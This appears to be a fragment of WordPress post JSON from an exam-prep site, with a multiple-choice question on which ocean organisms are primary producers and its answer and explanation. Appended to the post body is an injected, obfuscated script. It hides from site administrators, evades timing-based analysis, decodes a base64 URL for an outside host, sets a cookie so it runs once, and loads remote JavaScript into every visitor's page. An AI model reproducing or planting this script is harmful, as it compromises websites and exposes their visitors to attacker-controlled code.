wp-elements-199 wp-block-paragraph\">4. Foraminifera<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\"><strong>Which of the above are primary producers in the food chains of oceans?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\">(c) 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\">(d) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-207\">\n<li>Copepods are small crustaceans and consumers (zooplankton), not primary producers.<\/li>\n\n\n\n<li><strong>Cyanobacteria <\/strong>are<strong> photosynthetic bacteria<\/strong> and primary producers.<\/li>\n\n\n\n<li><strong>Diatoms<\/strong> are <strong>photosynthetic algae<\/strong> and primary producers.<\/li>\n\n\n\n<li>Foraminifera are protists that are mostly consumers (they feed on other microorganisms).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-208 wp-block-paragraph\"><strong>Hence option (b) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements with respect to nuclear power generation in India: I. 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